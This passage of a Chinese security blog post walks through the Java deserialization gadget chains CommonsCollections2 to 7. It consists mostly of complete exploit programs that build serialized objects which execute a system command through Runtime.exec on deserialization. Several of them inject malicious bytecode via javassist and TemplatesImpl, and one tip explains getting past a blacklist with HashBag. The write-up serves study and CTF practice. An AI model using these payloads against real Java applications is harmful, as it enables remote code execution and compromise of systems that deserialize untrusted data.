TransformingComparator comparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue(1);
queue.add(1);
queue.add(2);
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,comparator);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
这里首先注意queue加了两个元素,这是因为size不大于1的话无法进入siftDown方法。然后queue.add这段代码不能放到反射实例化comparator的后面。因为代码段中如果comparator不为null会放不进去元素。
然后其实上面这个exp并不是ysoserial CC2的exp链子。它使用的是javassist + TemplatesImpl。首先简单说明下javassist,它提供了修改字节码的功能。
比如我们手动生成一个byc404.class
package top.bycsec;
import javassist.*;
public class cc2 {
public static void createPseson() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("byc");
String cmd = "System.out.println(\"evil code\");";
// 创建 static 代码块,并插入代码
cc.makeClassInitializer().insertBefore(cmd);
String ClassName = "byc404";
cc.setName(ClassName);
// 写入.class 文件
cc.writeFile();
}
public static void main(String[] args) {
try {
createPseson();
} catch (Exception e) {
e.printStackTrace();
}
}
}
像这样能够直接控制static方法的话,那么它在实例化时就会被直接执行。
接下来看看它真正的核心TemplatesImpl的使用
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
跟进getTransletInstance
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
这里defineTransletClasses()可以还原bytecode为class.后面的newInstance()则可以实例化这个class.在这个实例化的过程中static方法就会执行。所以达成了一个任意命令执行的效果。
再稍微多回顾下前面我们达到的进度,就是我们已经可以任意调用transform了,只需一个可控对象。那么这里再用之前经常用到的InvokerTransformer.transform反射来调用TemplatesImpl.newtransformer
最终exp
package top.bycsec;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
public class cc2 {
public static void main(String[] args) throws Exception {
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");
TransformingComparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);
Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,comparator);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
这个exp几个细节还是值得说明一下的。不过我还是偷懒下不深入了,就当做一些注意事项简单说明下。
1.为了进入defineTransletClasses
需要把恶意类的父类设置为AbstractTranslet。否则_transletIndex会小于0爆出错误。
2.通过反射的方式来设置queue的值,而是直接add。这里我们queue的第一个元素是templates即TemplatesImpl.class.newInstance();。这是一个类。而第二个元素是1.这两个元素在add时会出现比较出错。所以得保证类型一致。不过还有一个方法就是里面放两个一样的元素即都为template.
- CommonsCollections3
CC3又回到了CommonsCollections3.1的依赖。
有点像CC1+CC2。用到了两个链子的关键内容。
区别在于用了TrAXFilter调用newTransformer()
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
然后不同于以外的InvokeTransformer,它改用了InstantiateTransformer.其transform方法如下
public Object transform(Object input) {
try {
if (!(input instanceof Class)) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
} else {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
这里创建了类实例,如果把input设置为TrAXFilter,那么就会在这里实例化的时候调用其构造方法,触发TemplatesImpl#newTransformer。
exp
package top.bycsec;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class cc3 {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Deprecated.class,map);
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Deprecated.class,proxy_map);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3"));
outputStream.writeObject(handler);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
- CommonsCollections4
依赖环境变为Commons Collections 4.0
似乎就是个杂交......因为依赖变为4.0了。直接使用CC2 中的queue+ CC3中的transform调用。
exp
package top.bycsec;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class cc4 {
public static void main(String[] args) throws Exception{
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");
TransformingComparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("byc");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "byc404" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
});
Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,comparator);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc4"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc4"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
- CommonsCollections5
cc5跟过一次。当时没用jdk1.7的环境。现在实验下jdk1.7 + cc3依赖的exp.另外发现这个链子cc3,cc4依赖都可以使用。貌似是ysoserial只写了cc3的链子。稍微改下就可以用在cc4的环境了。
首先重点还是构造链子来调用喜闻乐见的反射transform rce payload.这里的方法在第一篇学反序列化时已经跟过了
然后是一个细节:
TransformedMap.decorate()
方法能将普通的MapA转换为TransformedMapB,同时如果TransformedMap.decorate()
方法设置了第二个参数keyTransformer或者第三个参数valueTransformer,当TransformedMapB调用Map的put方法或者Map.Entry的setValue方法就会自动触发刚才设置的keyTransformer或者valueTransformer相应的Transformer
之所以提到decorate()
是因为我自己这一部分cc1的链子在书写exp中用的是反射实例化的lazymap。当时只是跟着别人的exp用反射实例化了,结果后来发现明明cc3依赖中直接decorate就可以创建lazymap。
这个方法在cc4依赖中变为了LazpMap方法
然后核心还是跟cc1一样,此时只要一个调用LazyMap#get的位置来触发rce。
用到的gadget是TiedMapEntry#toString => getValue => get.需要this.map为LazyMap.跟过一遍就不再说了。
再接下来是BadAttributeValueExpException来触发toString.
因为其readObject中valobj.toString
的valobj来自输入的val。所以直接反射设置为TiedMapEntry即可
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
......
exp
package top.bycsec;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc5 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(java.lang.Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"calc"}}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "placeholder");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("placeholder");
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, tiedMapEntry);
try {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("./out.bin"));
oos.writeObject(badAttributeValueExpException);
oos.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./out.bin"));
inputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
然后上面说了。换成cc4依赖是通杀的。我们只需将exp中依赖全部换成4的,然后decorate方法换成lazyMap来实例化LazyMap即可
exp
package top.bycsec;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc5 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(java.lang.Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"calc"}}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap();
Map lazyMap = LazyMap.lazyMap(hashMap,chainedTransformer);
//Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "placeholder");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("placeholder");
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, tiedMapEntry);
try {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("./out.bin"));
oos.writeObject(badAttributeValueExpException);
oos.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./out.bin"));
inputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
- CommonsCollections6
比较类似CC5的链子。然后利用环境也是3,4通杀。
cc6的gadget与cc5的区别在于没有利用TiedMapEntry#toString,而是TiedMapEntry#hashCode
这个方法在URLDNS中出现过,在反序列化时会重新计算对象的 hashCode.
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
public Object getValue() {
return this.map.get(this.key);
}
跟toString一样调用了getValue。所以就基本一样了。
触发hashcode的方法是利用Hashmap类的hash
final int hash(Object k) {
int h = hashSeed;
if (0 != h && k instanceof String) {
return sun.misc.Hashing.stringHash32((String) k);
}
h ^= k.hashCode();
// This function ensures that hashCodes that differ only by
// constant multiples at each bit position have a bounded
// number of collisions (approximately 8 at default load factor).
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}
加上hashMap.put
public V put(K key, V value) {
if (table == EMPTY_TABLE) {
inflateTable(threshold);
}
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
这样就可以直接put触发了。然后官方的链子不知道为啥加上了一个Hashset,有点奇怪。
exp
package top.bycsec;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(java.lang.Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"calc"}}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "placeholder");
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry, "byc");
Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
innerMap.clear();
try {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("./out.bin"));
oos.writeObject(hashMap);
oos.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./out.bin"));
inputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
同样也是cc依赖3,4通用。
然后强网杯当时一道java题记得就是用的cc6的链子改了下。因为当时是存在手写的黑名单,不能用hashmap,但是可以找替代的hashcode来利用。所以用HashBag替换一下就行。
HashBag hashMap = new HashBag();
hashMap.add(tiedMapEntry, 1);
hashBag继承了一个抽象类,然后方法基本跟HashMap差不多。所以小改下就可以直接打了。
- CommonsCollections7
cc7的链子是通过AbstractMap#equals来触发LazyMap#get
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map m = (Map) o;
if (m.size() != size())
return false;
try {
Iterator> i = entrySet().iterator();
while (i.hasNext()) {
Entry e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}
return true;
}
这里如果控制m为lazymap即可触发rce.
然后cc7是在HashTable#reconstitutionPut中调用过equals方法
int hash = hash(key);
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
......
然后HashTable的readObject也调用过了reconstitutionPut.所以可以触发。
exp
package top.bycsec;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
public class cc7 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(java.lang.Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"calc"}}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap innerMap1 = new HashMap();
innerMap1.put("yy", "1"); // "yy".hashCode() == "zZ".hashCode() == 3872
HashMap innerMap2 = new HashMap();
innerMap2.put("zZ", "1");
LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(innerMap1, chainedTransformer);
LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(innerMap2, chainedTransformer);
HashMap hashMap = new HashMap();
hashMap.put(lazyMap1, "placeholder");
hashMap.put(lazyMap2, "placeholder");
innerMap1.remove("zZ");
Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
try {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("./out.bin"));
oos.writeObject(hashMap);
oos.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./out.bin"));
inputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
这里有个细节。就是首先需要put两次才能调用equals方法。
然后由于一个小bug
"yy".hashCode() == "zZ".hashCode()
会导致"碰撞"发生,其实就是因为这样计算出来的hash一致所以会导致它调用其中一个对象的equals方法进行比较。这样就能成功进入我们的gadget了。最后expremove掉zZ这第二个元素。这是要去掉这个键。否则这个hashmap会带上无法序列化的对象从而使反序列化失败。
- summary
没想到最后还是成功把链子都跟完了。这篇文章就写这么多了。反序列化的gadget跟进说实话比起php少了一点变通,但是难度还是有点大的。不过整体下来不难发现Map类,cc库中的一系列Transformer类,反射的技巧起到了至关重要的作用。并且实际上肯定存在更多gadget等待发掘。
后面会抽空去学习下shiro,jackson,fastjson等等的深度分析。